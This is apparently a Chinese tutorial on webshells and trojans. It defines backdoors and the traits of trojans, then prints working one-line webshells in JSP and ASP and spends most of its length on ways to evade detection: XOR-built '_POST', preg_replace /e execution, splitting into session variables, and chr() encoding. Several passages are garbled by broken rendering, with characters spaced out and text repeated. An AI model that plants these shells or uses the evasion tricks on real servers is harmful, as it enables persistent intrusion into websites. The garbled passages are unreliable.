webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。webshell一般是被网站管理员用于网站管理、服务器管理等等一些用途,但是由于webshell的功能比较强大,可以上传下载文件,查看数据库,甚至可以调用一些服务器上系统的相关命令(比如创建用户,修改删除文件之类的),通常被黑客利用,黑客通过一些上传方式,将自己编写的webshell上传到web服务器的页面的目录下,然后通过页面访问的形式进行入侵,或者通过插入一句话连接本地的一些相关工具直接对服务器进行入侵操作。
“木马”全称是“特洛伊木马(Trojan< BR >Horse)”,原指古希腊士兵藏在木马内进入敌方城市从而占领敌方城市的故事。在Internet上,“特洛伊木马”指一些程序设计人员在其可从网络上下载 (Download)的应用程序或游戏中,包含了可以控制用户的计算机系统的程序,可能造成用户的系统被破坏甚至瘫痪。
大家都知道,一台计算机上有65535个端口,那么如果把计算机看作是一间屋子,那么这65535个端口就可以它看做是计算机为了与外界连接所开的65535 扇门。每个门的背后都是一个服务。有的门是主人特地打开迎接客人的(提供服务),有的门是主人为了出去访问客人而开设的(访问远程服务)——理论上,剩下的其他门都该是关闭着的,但偏偏由于各种原因,很多门都是开启的。于是就有好事者进入,主人的隐私被刺探,生活被打扰,甚至屋里的东西也被搞得一片狼迹。这扇悄然被开启的门——就是“后门”。
简单来说,webshell就是一个web的木马后门,黑客在入侵了一个网站后,常常在将这些web木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。然后黑客就可以用web的方式,通过asp或php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等。
Webshell根据不同的文件大小、功能、开发的语言版本等不同,可以进行不同的分类,常见的webshell分类方式有以下两种方式。
webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。在国外,还有用python脚本语言写的动态网页,当然也有与之相关的webshell。
不同脚本类型的简单木马 | |
---|---|
JSP | <%Runtime.getRuntime().exec(request.getParameter(“i”));%> |
ASP | <%eval request(“cmd”)%> |
PHP |
根据功能也分为大马与小马,小马通常指的一句话木马,例如:<%eval request(“pass”)%>通常把这句话写入一个文档里面,然后文件名改成xx.asp。然后传到服务器上面。这里eval方法将request(“pass”)转换成代码执行,request函数的作用是应用外部文件。这相当于一句话木马的客户端配置。
大马与小马区别:
一句话木马(小马) 大马
功能 功能简单,需要配合客户端使用 功能完善,直接使用浏览器即可利用
大小 代码量通常在一行左右,不超过10行 代码量通常较大
隐蔽性 隐蔽性强 隐蔽性相对较弱
容易通过变形隐藏特征 通过加密等方式来隐藏特征
容易绕过过滤 相对不易绕过过滤
一句话木马的原理即可以执行传递上来变量的内容,变量名称即“一句话密码”,变量内容即后门执行代码,内容可以是list文件、上传及下载文件、数据库操作等等。这类后门通常只一行代码,因此可以随意插入web站点的正常文件而并不影响原本代码的执行,甚至与正常图片的结合可以形成“图片马”。体积小,隐蔽性强是一句话木马最大的优势。灵活的变量内容同时成就了很多经典的一句话操作客户端,如菜刀。
当前常见的木马文件、木马程序主要特征有隐蔽性、自启动、欺骗性、自动恢复、端口自启这五种特征。接下来,简单对这五种特征进行介绍。
隐蔽性是指木马必须隐藏在目标计算机中,以免被用户发现。这是因为木马设计者不会轻易就让用户发现木马程序。木马的隐蔽性主要体现在两个方面:第一是不会在目标计算机产生快捷图标,第二是木马程序会自动在任务管理器中隐藏,并以系统服务的形式存在,以欺骗操作系统。
木马的自动运行性是指木马会随着计算机系统的启动而自动运行,所以木马必须潜入计算机的启动配置文件中,如启动组或系统进程。直到目标计算机关闭时,木马才会停止运行。
木马之所以具有欺骗性是为了防止一眼就被计算机用户认出。为此,被木马感染的文件一般都用常用的文件名或扩展名,或者仿制一些不易被人区分的文件名,甚至干脆借用系统文件中已有的文件名,只不过他们被保存在不同的路径之中。
木马的自动恢复是指当木马的某一些功能模块丢失时,他能够自动回复为丢失之前的状态。现在很多木马的功能已不再是有单一的文件所组成,而是有多重备份,可以相互恢复的文件。
木马潜入目标计算机的目的不是为了破坏文件,即使为了获取目标计算机中的有用信息,因此就需要保证能与目标计算机进行通信。木马会采用服务器/客户端的通信手段把获取到的有用信息传递给黑客,以便黑客能控制该计算机或实现更进一步的企图。
编写一句话木马,根据不同的开发语言可以分为不同类型的一句话木马,其主要分为两个部分:①用户可控参数②系统命令执行函数;以php的一句话木马后门中最普通的一种为例:,其中v作为参数用于传递攻击者提交的内容; P O S T [ ′ ′ ] 用 于 接 收 前 端 攻 击 者 输 入 的 内 容 , 这 部 分 作 为 用 户 可 控 输 入 内 容 , e v a l ( ) 函 数 是 P H P 语 言 中 的 命 令 执 行 函 数 , 会 将 任 何 字 符 串 当 做 命 令 进 行 执 行 ; 当 _POST['']用于接收前端攻击者输入的内容,这部分作为用户可控输入内容,eval()函数是PHP语言中的命令执行函数,会将任何字符串当做命令进行执行;当 POST[′′]用于接收前端攻击者输入的内容,这部分作为用户可控输入内容,eval()函数是PHP语言中的命令执行函数,会将任何字符串当做命令进行执行;当_POST[‘v’]接收传值后,利用eval()函数对传入的参数进行执行。
免杀就是需要特定的关键字,我们使用一些特殊的构造方法,或者拆分或者替换等方式,不断地尝试躲避服务器端的过滤
一般的检测程序会过滤这样”_POST”,”system”,”call_user_func_array”这样的字符,这个时候可以用构造法绕过一些检测程序,基本原理是,php每一个字符都都对应了一个二进制的值,可以采用异或的方式,让马中的一个字符用两个字符异或后的值来代替,在我们的程序过滤数字 字母等的时候也可以派上用场,我的核心思路是,将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符。比如在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可,我们也可以使用~来取反。
然后构造与一句话可以写为
// 结果为@ P O S T [ 0 ] ( _POST[0]( POST[0](POST[1])
! 表 示 1 的 相 反 , 在 语 言 里 面 1 代 表 真 , 反 过 来 就 是 0 ( 假 ) , 但 是 这 样 的 绕 过 方 法 相 当 弱 , 仔 细 想 一 下 , 就 算 是 两 个 字 符 的 二 进 制 值 异 或 , 但 是 我 们 要 用 某 个 字 符 , 还 是 应 用 那 个 字 符 的 值 , 例 如 : _表示1的相反,在语言里面1代表真,反过来就是0(假),但是这样的绕过方法相当弱,仔细想一下,就算是两个字符的二进制值异或,但是我们要用某个字符,还是应用那个字符的值,例如: 表示1的相反,在语言里面1代表真,反过来就是0(假),但是这样的绕过方法相当弱,仔细想一下,就算是两个字符的二进制值异或,但是我们要用某个字符,还是应用那个字符的值,例如:__=(“#”“|”).(“.”“~”).(“/”“`”).(“|”“/”).(“{”^“/”)的二进制值与_POST字符的值一样的,要是检测程序会检测二进制码的值,还是会被杀掉。
php中有一个函数preg_replace()函数,这个函数可以实现正则表达式的替换工作。用替换绕过检测系统还需要php脚本语言里面的一个函数特性,函数在调用的时候,如果函数里面的形参赋的值里面含有命令,就会执行这个命令。
(.+?)<\/title>/ies",'funfunc("\1")', $_POST["cmd"]);
?>
上述代码就是替代的一个过程,首先创建一个空函数,然后使用preg_replace函数替换表单cmd中的(这里是html里面表示主题)为funfunc,将post表单中的值写成
{${phpinfo()}}通过置换,就会变成 funfunc({${phpinfo()}}),由于${}可以解析{}中的内容,所以这里的phpinfo就可以顺利执行了。因为有的asp服务器为了防止一句话马,会过滤<%,%>,可以使用:
execute request("cmd")
功能相同,就是换个形式,回避特定脚本语言:aspx一句话
将<%eval request(“x”)%>拆分为<%Y=request(“x”)%><%eval(Y)%>
拆分法加强版:
<%IfRequest("MH")<>"" Then Execute(Request("MH"))%>
<%if request("MH")<>""thensession("MH")=request("MH"):end if:ifsession("MH")<>"" then executesession("MH")%>
以上两句使用了if一句将其分开,中心思想将敏感字符拆分,因为一般asp特征码为eval(request或者execute(request,拆分了之后检测不到特征码,就直接绕过了。
<%eval request("#")%>变形为“┼攠數畣整爠煥敵瑳∨∣┩愾”
eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("brute"))%>
上面一行代码是采用了ascii加密的方法,chr(114)代表的是ascii中的编号为114个那个字符,即r。上述代码转换后的代码为
<%eval (eval(request("brute"))%>